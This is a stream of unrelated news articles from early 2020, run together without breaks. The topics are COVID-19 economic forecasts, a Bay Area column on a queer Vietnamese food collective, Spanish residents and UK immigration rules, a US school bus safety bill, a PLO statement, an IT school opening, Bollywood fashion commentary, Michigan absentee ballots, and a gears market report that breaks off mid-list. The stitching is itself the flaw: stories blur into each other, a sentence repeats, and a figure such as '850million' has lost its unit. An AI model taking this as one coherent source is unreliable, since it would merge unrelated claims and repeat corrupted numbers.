turn into a global pandemic, it could cost the world economy about 850million. 'Our scenarios see world GDP hit as a result of declines in discretionary consumption and travel and tourism, with some knock-on financial market effects and weaker investment,' it said. Economic forecaster Oxford Economics estimates that if the COVID-19 outbreak were to turn into a global pandemic, it could cost the world economy about 850million Japan's economy recently recorded its highest quarterly fall in growth in six years and economists have warned that the huge decline in tourist numbers from China and the shutdown of car factories is likely to cause a recession. The UK, US and German economies have not been as hurt by the disease, but could easily fall into recession if not enough is done to contain the virus. Apple sent shockwaves through markets earlier this week when it said the outbreak in China had cut production of iPhones. The California-based company said demand for iPhones is also down in China because many of its 42 retail stores there are closed or operating with reduced hours. China is Apple's third largest retail market for iPhones, after the US and Europe. Shares in Aveva plunged today, falling 5.8 per cent today to 4,984p. This is A Million Plates, The Chronicles regular column about immigrant food in the Bay Area, centered around the theory that there are a million different plates of food eaten every day in this region. As a kid in Saigons District 2, the floral, sweet smell of pandan cooking in coconut milk meant banh kep la dua (pandan waffles) to Trang Tran. The sizzle of a street vendor pouring the batter onto hot cast iron would make Tran dance with happiness and hunger. That same perfume of pandan in coconut milk welcomed Trans family at the food court in Lion Plaza in San Jose after they immigrated to Hayward in 2002, when Tran was 10. Among the heady scent of nostalgia, Tran happily ate pandan waffles with a cousin. To Tran, the waffle was a reminder of how Vietnamese culture could be preserved in a new home, and the power of food to connect generations. Tran, who is queer and genderqueer and uses they/them pronouns, struggled for years with growing apart from Vietnamese culture and experiencing rejection because of their identity. In 2016, those struggles inspired them to create QTViet Cafe Collective, which encourages reconnecting with Vietnamese foodways, storytelling, art and intergenerational community. When the group started hosting food pop-ups, Tran wanted food that had meaning to them, so they reinvented pandan waffles by serving them on a stick. An important aspect of the group is healing from trauma. Theres intergenerational trauma from the Vietnam War, and many immigrants also experience a difficult separation from Vietnamese culture. There is also the rejection that many LGBTQ Vietnamese people experience within their own community. Tran says, Growing up, I just felt like ... I cant be Vietnamese and queer at the same time. Another inspiration for Tran to start the collective was a cooking class they attended in 2015 taught by Hai Vo. Vo, who is queer and doesnt use pronouns, was teaching them banh tet, a sticky rice cake made for Tet, the Vietnamese New Year. Tran found it incredibly powerful to learn how to make this essential Tet dish in community with other queer people. Just to know that this is how you fold the banana leaf, this is how you tie it to keep the water out, it was so profound and healing to me, Tran says. Celeste Noche / Special to The Chronicle Vo became the second worker-owner of the collective. As the group planned its first Tet celebration in 2017, it wanted to tap into the communal aspect of cooking for the holiday. Vo suggested having their elders teach queer and trans members to cook a meaningful dish from their lives in their own kitchens. The kitchen is a very central place for Vietnamese people, Vo says. Can we meet our families in their homes ... and show up as our full queer selves? The cook hubs promote healing, Vo says, by passing down food traditions while giving the elders and queer and trans young adults a chance to share stories and break down stereotypes on both sides. That first year, they asked parents of members to host cook hubs. Trans parents taught them how to make egg rolls, and a friends mom from central Vietnam taught them banh bot loc, tapioca dumplings with shrimp and pork. Tran works with elders in their day job as an organizer at the Oakland community organization Asian Refugees United, and one of the elders taught them how to make fried chicken. For us to be in that space together, subtly but also very visibly queering up the kitchen with our elders ... it was really magical, Tran says. Queer up (bong len in Vietnamese) is a phrase the group uses often. To Tran, it means an experience of being our full self and reclaiming a space that holds many traditional gender norms and roles ... we are building new ways of being with each other. Vo adds that bong also means to brighten or sparkle it is that extra oomph of magic that we have when were in our fullest selves. Celeste Noche / Special to The Chronicle QTViet Cafe member Jessie Nguyen, who uses they/them pronouns, has always had a close working relationship with their mother, Kim. In 2014, the two created Bicycle Banh Mi, a bicycle-delivery banh mi business in San Francisco. That grew into Little Window, a Vietnamese-inspired catering service and pickup window in the Embarcadero. But even though their mom knew they were queer, she never talked about it. Mom didnt grow up being around queer community, so she didnt understand what it meant, Nguyen says. Nguyen introduced their mom to the group by asking her to host a cook hub for the 2019 Tet celebration, where she taught members canh kho qua, a pork-stuffed bittermelon soup in a pork bone broth. Kho qua translates to hardships passed, and its eaten at Tet as a reminder of lifes bitterness. Nguyens mom enjoyed spending time with queer Vietnamese people in the group, and afterward, the two talked about queer identity, which brought them closer. Today, she comfortably uses the word queer, which Nguyen says makes them feel seen. Last year, their mom gave them her old ao dai (a traditional Vietnamese outfit) to wear to the Intergenerational Feast. I paired the tunic with black leather pants! My mom described the outfit as very bong, which means queer, Nguyen says. Food Guide Top 25 Restaurants Where to eat in the Bay Area. Find spots near you, create a dining wishlist, and more. Vo grew up in a Catholic family, and coming out as queer and gay at age 23 meant many years of struggling for acceptance from Vos family. But after meeting Tran, Vo realized that family needed to be part of the healing process. Vo moved in to help take care of Vos mom, and the two cooked, shared stories and grew closer. She passed in 2018, and for the 2019 Tet celebration, Vo placed her photo on the collectives altar, which is an important Tet tradition. The altar is traditionally decorated with flowers, red fruit to represent love and food cooked by the family to welcome relatives to the celebration. I had never seen an altar in a queer and trans space, Vo says. Celeste Noche / Special to The Chronicle Vos father attended the event for the first time, where he sang with other elders and donated money to the group. Another part of healing, Vo tells me, is having elders meet other elders with queer or trans Vietnamese children. I have never experienced my parents supporting something so close to me, Vo says. For their part, Tran also found acceptance from their parents after a performance they gave at one of the collectives events. This years Tet celebration, held Feb. 8 at San Joses Vietnamese American Community Center, featured one large banh tet cook hub. Attendees were surrounded by pounds of soaked Koda Farms sweet rice, containers filled with mung bean, sweet yam and taro fillings, stacks of vibrant green banana leaves and piles of string. The elders showed the young adults how to layer rice and filling onto banana leaves, and to fold and tie each package to look like a tied roast from the butcher. Meanwhile, some of the elders shared stories in Vietnamese , with Tran translating. The mood was celebratory, and there was a powerful feeling in being in a space that honors Vietnamese culture and food traditions while uplifting queer and trans voices. It was Trans vision come to life. With the connection between food and Vietnamese culture so undeniable, Tran hopes to host more intergenerational cook hubs in 2020. As the events emcee, Tracy Nguyen, reminded attendees, the way Vietnamese people say I love you is: Con an com chua? Have you eaten yet? Leena Trivedi-Grenier is a freelance writer living in the Bay Area. Email: food@sfchronicle.com Twitter: @Leena_Eats Spaniards living in Britain have been sharing their worries after the announcement on Wednesday that the UK will introduce a new points-based system to control immigration into the country. Key requirements to reach 70 points to gain UK residency after the end of the Brexit transition period in December are, among others, a firm job offer, higher education level, salary offer over 30,800 euros a year and a knowledge of English. Each attribute carries 10 to 20 points. Spain is the fifth EU country with most residents in the UK, after Poland, Romania, Italy and Portugal. According to British government data, 200,000 Spaniards have so far applied for the official EU Settlement Scheme ahead of the new rules. Immigrants from Spain play a significant role in many areas of the economy and are especially important in the NHS. 23-year-old Pablo Sanchez arrived in the UK only two months ago to join his older sister. He took just two weeks to find a shop assistant job in London, although he doesnt speak English. I dont think that by January Ill be able to speak English, this is the fault of Brexit for sure, it feels pretty unfair to me, he said. Paloma Lopez, who arrived a year ago in Manchester said, I applied for settled status but they havent replied to me yet. I think its bad and unfair that they treat us Europeans like this. Some see the benefits Marcos from Madrid, who works in the City and didnt want to give his full name, was more supportive. I think its brilliant that they require people to speak English and show that they are suitable for their job. In contrast, Silvia Gonzalez, a Spanish campaigner for the rights of EU nationals in Britain, said the new rules dont take into account what immigration can bring to this country. For example, there are many immigrants from the EU that get paid for working in the care sector, which is a basic need given the elderly population in the UK. Republicans and Democrats Come Together for School Bus Safety Bill Republicans and Democrats have come together on the issue of school bus safety with the Stop for School Buses Act, a bi-partisan bill would provide a comprehensive federal evaluation of methods to prevent accidents and protect the safety of children riding school buses. This legislation would require the Department of Transportation to compile laws on illegal passing in all states, review existing public safety measures and programs discouraging illegal passing of school buses, and create new strategies and messaging. Reps. Jackie Walorski (R-Ind.) and Julia Brownley (D-Calif.) introduced the House bill. The tragic loss of young Hoosiers in bus-related crashes last year, including in Fulton County, was a reminder that life is precious and that we all need to work together to keep children safe, Walorski said. Every driver has a responsibility to exercise caution when students are present, and that includes never passing a school bus that is stopped with red lights flashing or its stop arm extended. The Stop for School Buses Act will help our states and local communities take the most effective actions to prevent illegal passing of school buses and ensure students are safe when traveling to and from school. Rep. Elise Stefanik (R-N.Y.) is a cosponsor of the bill. Safety while traveling to and from schools should not be of concern for our students or their parents, said Stefanik This bipartisan bill will help our local communities take the best course of action to prevent illegal passing of school buses and ensure the safety of our students. Many students in rural communities in my district will directly benefit from enhanced safety measures as they travel on busy, and often unpredictable, roads. Specifically, the Department of Transportation must conduct a review of existing state laws and programs regarding the illegal passing of school buses; create a nationwide public safety campaign to highlight the importance of illegally passing school buses; review and evaluate the effectiveness of various technologies to enhance school bus safety; review driver education materials in states to determine how the illegal passing of school buses is addressed; and research the connections between the illegal passing of school buses and other safety issues, including distracted driving. According to data from the National Highway Traffic Safety Administration, from the years 2007 to 2016, an average of seven school bus passengers were killed each year, with the statistics showing more school-age pedestrians were killed from 6 to 7 a.m., and from 3 to 4 p.m. than any other hours of the day. The NHTSA also said there were 281 school-age children killed in school-transportation-related crashes from 2007 to 2016, and that 58 were occupants of school transportation vehicles. According to the American School Bus Council, more than 26 million childrenover half of Americas schoolchildrenride one of 480,000 schools buses to school each day. It is illegal for drivers to pass a school bus while dropping off or picking up passengers, regardless of the direction of approach. Although school buses are the safest form of transportation, the Stop for the Buses Act aims to make it even safer and ensure that no children are killed or injured while riding school buses. Flash Secretary General of the Palestine Liberation Organization Saeb Erekat on Thursday said that the U.S. and Israel are "partnering" in annexation plans through ongoing settlement construction. "(Donald) Trump's administration is now partnering with Israel, through the recently formed annexation committee, with its new announcements for more construction and expansion of Israel's illegal colonial settlements on lands belonging to the state of Palestine," Erekat said in a press statement. Erekat's condemnation came against the backdrop of Israel's newest decision to build 5,200 new settlement units in south of Jerusalem, in addition to approving a plan to build 9,000 new settlement units in north of the city. "The ongoing Israeli settlement announcements represent the implementation of Trump's (Middle East peace) plan, which requires urgent international action to deter both Israel and the U.S. from their continued violations of international law and order," Erekat said. Israeli settlement activity is considered illegal under international law and has been one of the major hurdles to the stalled peace talks between Palestine and Israel since 2014. However, U.S. Secretary of State Mike Pompeo announced in November 2019 that the U.S. government will no longer consider Israel's West Bank settlements "inconsistent" with international law, in a move believed to further dim the future of the Israeli-Palestinian peace talks. MyComputerCareer has a new campus opening in Sugar Land on Sunday, March 1. Richard Barroso, its president and a Katy resident, is excited to help people start new careers. Located at 14141 Southwest Freeway, the second Houston-area campus of the technical school offers certifications in information technology (IT) and cybersecurity programs like A+, Network+ and Server+. Day programs take seven months and are the most popular, but there are night programs that take nine and a half months and also associates programs. Barroso has always kept education in high importance. He moved to Katy in 2002 because of the educational programs available there for his autistic son. He spent most of his career in sales and gained knowledge and skill as district manager and then regional director. He left that field in 2016 to join MyComputerCareer in northwest Houston. He has since helped hundreds of students find new opportunities. I love, you know, helping students and changing their lives, especially in our programs that we have here, said Barroso. We have a lot of career changers who are looking for that career for the rest of their life, and it gives me a lot of great joy. So thats why I ended up in this business. Most of the students at MyComputerCareer are 25 to 45 years old and are just looking to make a more professional career change, Barroso said. Some are younger though. As their classes are ending, Barroso said the school helps students with finding a job placement. We support them in getting them interviews, so hopefully we get them placed really quickly, and theyre often running and working in their new career, Barroso said. The school works with a lot of veterans looking for a professional path ahead after their service. Barroso explained that they really try to educate them about their options with their federal funding from the GI Bill and any vocational rehab. Barroso said it is a good feeling to help a veteran get funding and see him or her through school to see them go into a career in just seven months. So its great satisfaction for all of us. Thats what we live for here in our work life, he said. MyComputerCareer supports veterans through its Military Makeover, where a committee chooses a family through a letter-writing contest and then does over their entire home. Barroso said it is super fun to watch. They also sponsor a POW-MIA (prisoner of war-missing in action) Freedom Car, which works to build awareness. Once classes start, new programs will begin every five weeks, so it is convenient for students to get going quickly and not have to wait on a whole new semester. Classes run Monday/Wednesday and Tuesday/Thursday, but the building is open every day to work or study, except Sundays. Online classes are also available. Barroso said he hopes to have about 250 students at MyComputerCareer Sugar Land by the end of the first year. Two of our main goals are for all of our students to graduate, at least 90% or more, and we want to place every single student that graduates, he added. According to the Information Technology Security and Administration resident program, the Houston campus placed 79.3% of its students in jobs in 2018, and students accepted 200 job offers in 2019. MyComputerCareer began in 2007 in Raleigh. Sugar Land will be the eighth campus and is opening because the Houston campus is so busy. The new Sugar Land campus opens for business on Sunday, March 1. Barroso encourages anyone interested in IT or cybersecurity careers to visit www.mycomputercareer.edu to learn more. After they complete a free five-minute evaluation, they will receive a follow-up call and can start the process. We look forward to it. We cant wait. We love Sugar Land. Were ready to go, Barroso said. tracy.maness@hcnonline.com Actor Katrina Kaif has supported Priyanka Chopras decision to dress as she pleases, after Priyanka was criticised for wearing a navel-baring dress at the recent Grammys. Speaking to ETimes, Katrina said, I honestly have no idea what anyone else said about Priyankas outfit but I saw the outfit and I thought she looked beautiful in that outfit. I thought she looked absolutely stunning. So, I dont know what anyone else said but I dont think they saw the picture properly. ALSO WATCH | Grammys 2020: Priyanka Chopra, Billie Eilish, Camila Cabello slay at red carpet Priyankas outfit was criticised by the late fashion designer Wendell Rodricks, who said that the actor should dress her age. Rodricks passed days after the controversy. Previously, actors such as Disha Patani and Hina Khan had also supported Priyanka. Priyanka Chopra and Nick Jonas at the 62nd Grammy Awards. (REUTERS) Speaking on the sidelines of an event, Priyankas mother, Madhu Chopra, said she loved the dress, I loved it. She showed me the sample before she wore, I thought it was a little risque but she carried it well and she was one of the best dressed. I am happy about that. After Rodricks passing, a SpotboyE report quoted Madhu as saying, We hold no grudges against Wendell. Disagreements happen and one shouldnt keep it forever. Wendell was a nice guy. Priyanka worked with him in Fashion. Plus, if you recall, Wendell had subsequently issued a clarification. We have lost a great, talented man. I couldnt believe yesterday evening that Wendell is no more. He had just brought in two puppies to his house to shelter them. He was an ardent dog-lover. Life is so unpredictable. Follow @htshowbiz for more As absentee ballot requests in Michigan rise exponentially, many local clerks are concerned tallying them all on Election Day will strain their resources and delay results - but the Michigan Senate Majority Leader said Thursday he isnt interested in addressing the situation legislatively. Following the passage of Proposal 3 in 2018, absentee ballot requests are up more than 60 percent in Michigan this year, according to Secretary of State Jocelyn Benson. Absentee ballots need to be opened up and verified - meaning it typically takes longer to count them than in-person votes - and they currently cant be opened before 7 a.m. on Election Day. Senate legislation backed by former Secretary of State Ruth Johnson, R-Holly, would let workers at absentee counting boards work in shifts and would allow some early processing of absentee ballots ahead of Election Day. The effort earned support at the committee level from many elections officials, and its now before the full Senate. Asked about whether he supported the efforts, Senate Majority Leader Mike Shirkey, R-Clark Lake, said hes worried the move would be a step towards early counting of ballots, calling it a dangerous precedent." I dont necessarily think we should be trying to solve a problem before it actually occurs, he said. "If I had to choose between early voting, early counting, versus late reporting, Ill take late reporting all day long." The comments are a blow to Johnsons legislative efforts, which would allow municipalities with 10,000 or more registered voters to begin pre-processing absentee ballots the day before Election Day if they give notice to the Secretary of State. Her bills were supported by many elections officials around the state, although some support going further and letting clerks fully prepare the ballots or counting them ahead of Election Day. Benson has previously called for early counting of absentee ballots. Benson spokesperson Jake Rollow said in a statement Shirkey is ignoring simple math, facts, and the expertise of the clerks who administer our elections." Absentee numbers climbing Delta Township Clerk Mary Clark, second vice president and chair of the legislative committee for the Michigan Association of Municipal Clerks, said that doesnt mean the absentee ballots will actually be counted early. But theres a lot that goes into processing a ballot: employees verify the count of the ballots, open the envelope, remove the stub, take it out of the secrecy sleeve and flatten it all before they actually run it through the tabulator. This year, because of no-reason absentee and increased absentee voting, clerks are looking at having to do that to far more ballots than in previous years. We are three weeks out from the election and we have issued nearly 5,700 AV ballots. In the 2016 presidential, we only processed a little over 3,800 absentee ballots. So Im looking at a 65 percent increase, and Im little by comparison, Clark said. Ottawa County Clerk Justin Roebuck, who is also co-chair of Michigan Association of County Clerks Legislative Committee, said absentee ballots there are up 40 percent over 2016 numbers in his area. In the November general election, he wouldnt be surprised if they go up 75 percent. I think ultimately our biggest concern is as it leads into the November presidential election. I mean, thats where were going to see the biggest increase, Roebuck said. Statewide, Secretary of State Jocelyn Benson told reporters last week absentee ballots are up 63 percent. Clerks across Michigan have already issued more than 705,000 absentee ballots. In a Jan. 29 Senate Elections Committee hearing on the issue, Rochester Hills City Clerk Tina Barton said she already hires between 350 and 400 workers during a presidential election. With a nearly 70 percent increase in absentee ballot requests in the city and no space to add additional workers, Barton said shes facing the choice of her workers putting in far more hours to count ballots or moving her absentee ballot counting room offsite, which she said could jeopardize ballot security. Having someone counting absentee ballots for hours on end could also leave room for unintentional errors or risk worker safety, Barton told lawmakers, adding any other states process ballots or feed ballots into scanners before Election Day already. This is not only an efficiency issue for clerks, but it is also a safety concern for our senior workers, she said. We need your help. We are here to ask you for an impactful solution to this problem. House also considering legislation A separate legislative effort backed by Rep. Julie Calley, R-Portland, would let smaller local governments team up with other communities when creating absentee voter counting boards, a change Calley said would make it easier for locals concerned about setting up their own counting boards in anticipation of more absentee voters than before. We want to give everybody as much confidence in the system as we can, she said. Calleys bill passed the House Wednesday. Shirkey spokesperson Amber McCann said he hasnt studied that proposal in detail, but said at this point, the majority leader is comfortable allowing the current system to move forward with the new options for voters. Shirkey may block in Senate Roebuck and Clark are supportive of Johnsons bills, which balance out that increase in absentee ballots by letting clerks pre-process them the day prior to Election Day. It offers kind of the best of both worlds in that it still totally protects whats on the ballot. But the time-consuming part of absentee voting is not putting the ballot through the tabulator, Clark said. But Shirkey feared the proposal would open the door to early counting and early voting, which Im very opposed to. He added clerks should focus more on recruiting more Election Day workers and bring their own creative solutions to the existing process. Clark said the proposal does not allow early voting and Im not sure how he gets to that conclusion. Johnsons legislation passed out of the Senate Elections Committee unanimously last week. But without the support of the Senate Majority Leader, its not clear whether they will be put to a vote on the Senate floor. The Michigan primary takes place March 10. NEW YORK, Feb. 21, 2020 /PRNewswire/ -- Gears, Drives and Speed Changers market worldwide is projected to grow by US$60.8 Billion, driven by a compounded growth of 5.1%. Automotive, one of the segments analyzed and sized in this study, displays the potential to grow at over 5%. The shifting dynamics supporting this growth makes it critical for businesses in this space to keep abreast of the changing pulse of the market. Poised to reach over US$157.4 Billion by the year 2025, Automotive will bring in healthy gains adding significant momentum to global growth. Read the full report: https://www.reportlinker.com/p05621732/?utm_source=PRN - Representing the developed world, the United States will maintain a 3.9% growth momentum. Within Europe, which continues to remain an important element in the world economy, Germany will add over US$2.1 Billion to the region's size and clout in the next 5 to 6 years. Over US$1.8 Billion worth of projected demand in the region will come from Rest of Europe markets. In Japan, Automotive will reach a market size of US$8.9 Billion by the close of the analysis period. As the world's second largest economy and the new game changer in global markets, China exhibits the potential to grow at 8% over the next couple of years and add approximately US$17.7 Billion in terms of addressable opportunity for the picking by aspiring businesses and their astute leaders. Presented in visually rich graphics are these and many more need-to-know quantitative data important in ensuring quality of strategy decisions, be it entry into new markets or allocation of resources within a portfolio. Several macroeconomic factors and internal market forces will shape growth and development of demand patterns in emerging countries in Asia-Pacific, Latin America and the Middle East. All research viewpoints presented are based on validated engagements from influencers in the market, whose opinions supersede all other research methodologies. - Competitors identified in this market include, among others, ABB Ltd. Bharat Gears Ltd. Bonfiglioli Riduttori S.P.A. BorgWarner, Inc. Bosch Rexroth AG Cone Drive Curtis Machine Company, Inc. Danfoss Group David Brown Santasalo Eaton Corporation Plc Emerson Electric Co., FLSmidth MAAG Gear Horsburgh & Scott Hub City, Inc. Kanzaki Kokyukoki Manufacturing Co. Ltd. Marine Gears, Inc. Oerlikon Graziano Rexnord Corp. Schneider Electric SEW Eurodrive Siemens AG Sumitomo Drive Technologies Twin Disc, Inc. ZF Friedrichshafen AG Read the full report: https://www.reportlinker.com/p05621732/?utm_source=PRN I. INTRODUCTION, METHODOLOGY & REPORT SCOPE II. EXECUTIVE SUMMARY 1. MARKET OVERVIEW An Introductory Prelude Automotive Industry - A Bellwether of Market Prospects Developing Countries Continue to be Growth Engines Market Outlook Recent Market Activity Recovery in Global GDP Promises Stronger Growth for Gears, Drives & Speed Changers Industry Acceleration in Global PMI Benefits Market Growth Improving US Economy Augurs Well for the Market Cyclical Upturn Encourages Positive Manufacturing Outlook in Asia-Pacific Off-Shoring of Manufacturing Activity Boosts Demand in Developing Countries Global Competitor Market Shares Gears, Drives and Speed Changers Competitor Market Share Scenario Worldwide (in %): 2020 & 2029 2. FOCUS ON SELECT PLAYERS ABB Ltd. (Switzerland) Bharat Gears Ltd. (India) Bonfiglioli Riduttori S.P.A. (Italy) BorgWarner, Inc. (USA) Bosch Rexroth AG (Germany) Cone Drive (USA) Curtis Machine Company, Inc. (USA) Danfoss Group (Denmark) David Brown Santasalo (UK) Eaton Corporation Plc (Ireland) Emerson Electric Co. (USA) FLSmidth MAAG Gear (Switzerland) Horsburgh & Scott (USA) Hub City, Inc. (USA) Kanzaki Kokyukoki Manufacturing Co. Ltd. (Japan) Marine Gears, Inc. (USA) Oerlikon Graziano (Italy) Rexnord Corp. (USA) Schneider Electric (France) SEW Eurodrive (Germany) Siemens AG (Germany) Sumitomo Drive Technologies (USA) Twin Disc, Inc. (USA) ZF Friedrichshafen AG (Germany) 3. MARKET TRENDS & DRIVERS Growth in Automobiles Production Spurs Market Demand Opportunity Indicators Gears - Vital Component of Automotive Systems Key Trends in Automotive Gearbox Market Growing Popularity of Steer-by-Wire Technology Drives Future Demand for Power Steering Gears Rising Average Vehicle Life Drive Demand for Aftermarket Gears and Drives Industrial Gearboxes Market - An Overview Asia-Pacific Leads the Industrial Gearboxes and Gear Motors Market Growing Aerospace Sector Augurs Well for Market Surging Air Traffic to Drive Growth in Aircraft Landing Gear Market Landing Gears Market for Commercial Aircrafts Witness Surge Due to Growing Passenger Numbers Heavy Industrial Equipment/Machinery Manufacturing Industry Promises Bright Prospects Need for High Quality Gears for Uninterrupted Production Process Driving Gears Demand Stable Outlook for Oil & Gas Bodes Well for Hydraulic Drilling Equipment Steady Growth in Global Power Generation Activity Spurs Demand Growing Focus on Exploiting Wind Energy Spurs Growth in Wind Turbine Gear Market Gears Used in Nuclear Power Plants to Witness Growth Robust Demand for Construction Equipment Offers Growth Opportunities Growing Demand for Mining Equipment Boosts Growth in Gear & Gearbox Market Mechanization of Agriculture Spurs Growth A Segmental Overview Gears Drives Growing Impact of Technology 4. GLOBAL MARKET PERSPECTIVE Table 1: Gears, Drives and Speed Changers Global Market Estimates and Forecasts in US$ Million by Region/Country: 2018-2025 Table 2: Gears, Drives and Speed Changers Global Retrospective Market Scenario in US$ Million by Region/Country: 2009-2017 Table 3: Gears, Drives and Speed Changers Market Share Shift across Key Geographies Worldwide: 2009 VS 2019 VS 2025 Table 4: Automotive (End-Use) Global Opportunity Assessment in US$ Million by Region/Country: 2018-2025 Table 5: Automotive (End-Use) Historic Sales Analysis in US$ Million by Region/Country: 2009-2017 Table 6: Automotive (End-Use) Percentage Share Breakdown of Global Sales by Region/Country: 2009 VS 2019 VS 2025 Table 7: Industrial (End-Use) Worldwide Sales in US$ Million by Region/Country: 2018-2025 Table 8: Industrial (End-Use) Historic Demand Patterns in US$ Million by Region/Country: 2009-2017 Table 9: Industrial (End-Use) Market Share Shift across Key Geographies: 2009 VS 2019 VS 2025 Table 10: Other End-Uses (End-Use) Global Market Estimates & Forecasts in US$ Million by Region/Country: 2018-2025 Table 11: Other End-Uses (End-Use) Retrospective Demand Analysis in US$ Million by Region/Country: 2009-2017 Table 12: Other End-Uses (End-Use) Market Share Breakdown by Region/Country: 2009 VS 2019 VS 2025 III. MARKET ANALYSIS GEOGRAPHIC MARKET ANALYSIS UNITED STATES Market Facts & Figures US Gears, Drives and Speed Changers Market Share (in %) by Company: 2020 & 2025 Market Analytics Table 13: United States Gears, Drives and Speed Changers Latent Demand Forecasts in US$ Million by End-Use: 2018 to 2025 Table 14: Gears, Drives and Speed Changers Historic Demand Patterns in the United States by End-Use in US$ Million for 2009-2017 Table 15: Gears, Drives and Speed Changers Market Share Breakdown in the United States by End-Use: 2009 VS 2019 VS 2025 CANADA Table 16: Canadian Gears, Drives and Speed Changers Market Quantitative Demand Analysis in US$ Million by End-Use: 2018 to 2025 Table 17: Gears, Drives and Speed Changers Market in Canada: Summarization of Historic Demand Patterns in US$ Million by End-Use for 2009-2017 Table 18: Canadian Gears, Drives and Speed Changers Market Share Analysis by End-Use: 2009 VS 2019 VS 2025 JAPAN Table 19: Japanese Demand Estimates and Forecasts for Gears, Drives and Speed Changers in US$ Million by End-Use: 2018 to 2025 Table 20: Japanese Gears, Drives and Speed Changers Market in US$ Million by End-Use: 2009-2017 Table 21: Gears, Drives and Speed Changers Market Share Shift in Japan by End-Use: 2009 VS 2019 VS 2025 CHINA Table 22: Chinese Demand for Gears, Drives and Speed Changers in US$ Million by End-Use: 2018 to 2025 Table 23: Gears, Drives and Speed Changers Market Review in China in US$ Million by End-Use: 2009-2017 Table 24: Chinese Gears, Drives and Speed Changers Market Share Breakdown by End-Use: 2009 VS 2019 VS 2025 EUROPE Market Facts & Figures European Gears, Drives and Speed Changers Market: Competitor Market Share Scenario (in %) for 2020 & 2025 Market Analytics Table 25: European Gears, Drives and Speed Changers Market Demand Scenario in US$ Million by Region/Country: 2018-2025 Table 26: Gears, Drives and Speed Changers Market in Europe: A Historic Market Perspective in US$ Million by Region/Country for the Period 2009-2017 Table 27: European Gears, Drives and Speed Changers Market Share Shift by Region/Country: 2009 VS 2019 VS 2025 Table 28: European Gears, Drives and Speed Changers Addressable Market Opportunity in US$ Million by End-Use: 2018-2025 Table 29: Gears, Drives and Speed Changers Market in Europe: Summarization of Historic Demand in US$ Million by End-Use for the Period 2009-2017 Table 30: European Gears, Drives and Speed Changers Market Share Analysis by End-Use: 2009 VS 2019 VS 2025 FRANCE Table 31: Gears, Drives and Speed Changers Quantitative Demand Analysis in France in US$ Million by End-Use: 2018-2025 Table 32: French Gears, Drives and Speed Changers Historic Market Review in US$ Million by End-Use: 2009-2017 Table 33: French Gears, Drives and Speed Changers Market Share Analysis: A 17-Year Perspective by End-Use for 2009, 2019, and 2025 GERMANY Table 34: Gears, Drives and Speed Changers Market in Germany: Annual Sales Estimates and Forecasts in US$ Million by End-Use for the Period 2018-2025 Table 35: German Gears, Drives and Speed Changers Market in Retrospect in US$ Million by End-Use: 2009-2017 Table 36: Gears, Drives and Speed Changers Market Share Distribution in Germany by End-Use: 2009 VS 2019 VS 2025 ITALY Table 37: Italian Demand for Gears, Drives and Speed Changers in US$ Million by End-Use: 2018 to 2025 Table 38: Gears, Drives and Speed Changers Market Review in Italy in US$ Million by End-Use: 2009-2017 Table 39: Italian Gears, Drives and Speed Changers Market Share Breakdown by End-Use: 2009 VS 2019 VS 2025 UNITED KINGDOM Table 40: United Kingdom Demand Estimates and Forecasts for Gears, Drives and Speed Changers in US$ Million by End-Use: 2018 to 2025 Table 41: United Kingdom Gears, Drives and Speed Changers Market in US$ Million by End-Use: 2009-2017 Table 42: Gears, Drives and Speed Changers Market Share Shift in the United Kingdom by End-Use: 2009 VS 2019 VS 2025 SPAIN Table 43: Spanish Gears, Drives and Speed Changers Market Quantitative Demand Analysis in US$ Million by End-Use: 2018 to 2025 Table 44: Gears, Drives and Speed Changers Market in Spain: Summarization of Historic Demand Patterns in US$ Million by End-Use for 2009-2017 Table 45: Spanish Gears, Drives and Speed Changers Market Share Analysis by End-Use: 2009 VS 2019 VS 2025 RUSSIA Table 46: Russian Gears, Drives and Speed Changers Latent Demand Forecasts in US$ Million by End-Use: 2018 to 2025 Table 47: Gears, Drives and Speed Changers Historic Demand Patterns in Russia by End-Use in US$ Million for 2009-2017 Table 48: Gears, Drives and Speed Changers Market Share Breakdown in Russia by End-Use: 2009 VS 2019 VS 2025 REST OF EUROPE Table 49: Rest of Europe Gears, Drives and Speed Changers Addressable Market Opportunity in US$ Million by End-Use: 2018-2025 Table 50: Gears, Drives and Speed Changers Market in Rest of Europe: Summarization of Historic Demand in US$ Million by End-Use for the Period 2009-2017 Table 51: Rest of Europe Gears, Drives and Speed Changers Market Share Analysis by End-Use: 2009 VS 2019 VS 2025 ASIA-PACIFIC Table 52: Asia-Pacific Gears, Drives and Speed Changers Market Estimates and Forecasts in US$ Million by Region/Country: 2018-2025 Table 53: Gears, Drives and Speed Changers Market in Asia-Pacific: Historic Market Analysis in US$ Million by Region/Country for the Period 2009-2017 Table 54: Asia-Pacific Gears, Drives and Speed Changers Market Share Analysis by Region/Country: 2009 VS 2019 VS 2025 Table 55: Gears, Drives and Speed Changers Quantitative Demand Analysis in Asia-Pacific in US$ Million by End-Use: 2018-2025 Table 56: Asia-Pacific Gears, Drives and Speed Changers Historic Market Review in US$ Million by End-Use: 2009-2017 Table 57: Asia-Pacific Gears, Drives and Speed Changers Market Share Analysis: A 17-Year Perspective by End-Use for 2009, 2019, and 2025 AUSTRALIA Table 58: Gears, Drives and Speed Changers Market in Australia: Annual Sales Estimates and Forecasts in US$ Million by End-Use for the Period 2018-2025 Table 59: Australian Gears, Drives and Speed Changers Market in Retrospect in US$ Million by End-Use: 2009-2017 Table 60: Gears, Drives and Speed Changers Market Share Distribution in Australia by End-Use: 2009 VS 2019 VS 2025 INDIA Table 61: Indian Gears, Drives and Speed Changers Market Quantitative Demand Analysis in US$ Million by End-Use: 2018 to 2025 Table 62: Gears, Drives and Speed Changers Market in India: Summarization of Historic Demand Patterns in US$ Million by End-Use for 2009-2017 Table 63: Indian Gears, Drives and Speed Changers Market Share Analysis by End-Use: 2009 VS 2019 VS 2025 SOUTH KOREA Table 64: Gears, Drives and Speed Changers Market in South Korea: Recent Past, Current and Future Analysis in US$ Million by End-Use for the Period 2018-2025 Table 65: South Korean Gears, Drives and Speed Changers Historic Market Analysis in US$ Million by End-Use: 2009-2017 Table 66: Gears, Drives and Speed Changers Market Share Distribution in South Korea by End-Use: 2009 VS 2019 VS 2025 REST OF ASIA-PACIFIC Table 67: Rest of Asia-Pacific Demand Estimates and Forecasts for Gears, Drives and Speed Changers in US$ Million by End-Use: 2018 to 2025 Table 68: Rest of Asia-Pacific Gears, Drives and Speed Changers Market in US$ Million by End-Use: 2009-2017 Table 69: Gears, Drives and Speed Changers Market Share Shift in Rest of Asia-Pacific by End-Use: 2009 VS 2019 VS 